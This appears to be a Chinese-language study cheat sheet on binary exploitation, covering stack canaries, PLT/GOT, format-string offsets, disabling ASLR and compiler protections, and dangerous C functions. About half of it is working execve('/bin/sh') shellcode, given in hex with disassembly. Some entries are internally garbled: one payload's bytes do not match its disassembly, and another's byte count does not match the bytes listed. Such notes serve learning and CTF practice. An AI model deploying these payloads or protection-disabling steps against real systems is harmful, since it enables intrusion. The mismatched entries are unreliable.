Canary
描述:溢出保护
GCC设置Canary:
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确stack_protect attribute的函数开启保护
-fno-stack-protector 禁用保护
结构:
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| 局部变量 |
Low | |
Address
PLT表&GOT表
PLT表:指向GOT表,作用是动态加载函数地址
GOT表:位于数据段,函数被调用时,成员为函数在内存中的实际地址
格式化字符串漏洞
%1$p
:RSI
%2$p
:RDX
%3$p
:RCX
%4$p
:R8
%5$p
:R9
%6$p
:RSP[0]
%7$p
:RSP[1]
…
GCC编译参数
-m32
:编译为32位程序
-fno-stack-protector
:不开启堆栈溢出保护
-no-pie
:关闭pie
-z execstack
:关闭NX保护
ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
0:关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
1:普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
2:增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
危险函数
输入:
- gets,直接读取一行,忽略’\x00’
- scanf
- vscanf
输出:
- sprintf
字符串:
- strcpy,字符串复制,遇到’\x00’停止
- strcat,字符串拼接,遇到’\x00’停止
- bcopy
输入流
标准输入:stdin (0)
标准输出:stdout(1)
标准错误输出:stderr (2)
文件输入:open(3)
syscall条件
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
shellcode
字节数:44
\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80
0x0 push 0x68
0x2 push 0x732f2f2f
0x7 push 0x6e69622f
0xc mov ebx, esp
0xe push 0x1010101
0x13 xor dword ptr [esp], 0x1016972
0x1a xor ecx, ecx
0x1c push ecx
0x1d push 4
0x1f pop ecx
0x20 add ecx, esp
0x22 push ecx
0x23 mov ecx, esp
0x25 xor edx, edx
0x27 push 0xb
0x29 pop eax
0x2a int 0x80
字节数:21
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
0x0 xor ecx, ecx
0x2 mul ecx
0x4 mov al, 0xb
0x6 push ecx
0x7 push 0x68732f2f
0xc push 0x6e69622f
0x11 mov ebx, esp
0x13 int 0x80
字节数:30
\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a
0x0 dec eax
0x1 xor edx, edx
0x3 dec eax
0x4 mov ebx, 0x69622f2f
0x9 outsb dx, byte ptr [esi]
0xa das
0xb jae 0x75
0xd dec eax
0xe shr ebx, 8
0x11 push ebx
0x12 dec eax
0x13 mov edi, esp
0x15 push eax
0x16 push edi
0x17 dec eax
0x18 mov esi, esp
0x1a mov al, 0x3b
0x1c syscall
字节数:24
\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80
0x00 3E31C0 ds xor eax,eax
0x03 31D2 xor edx,edx
0x05 52 push edx
0x06 682F2F7368 push dword 0x68732f2f
0x0B 682F62696E push dword 0x6e69622f
0x10 89E3 mov ebx,esp
0x12 31C9 xor ecx,ecx
0x14 B00B mov al,0xb
0x16 CD80 int 0x80
字节数:24
\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05
00000000 6A3B push byte +0x3b
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 48 dec eax
00000006 BB2F2F6269 mov ebx,0x69622f2f
0000000B 6E outsb
0000000C 2F das
0000000D 7368 jnc 0x77
0000000F 53 push ebx
00000010 54 push esp
00000011 5F pop edi
00000012 52 push edx
00000013 57 push edi
00000014 54 push esp
00000015 5E pop esi
00000016 0F05 syscall
其它
‘$0’ = ‘/bin/sh’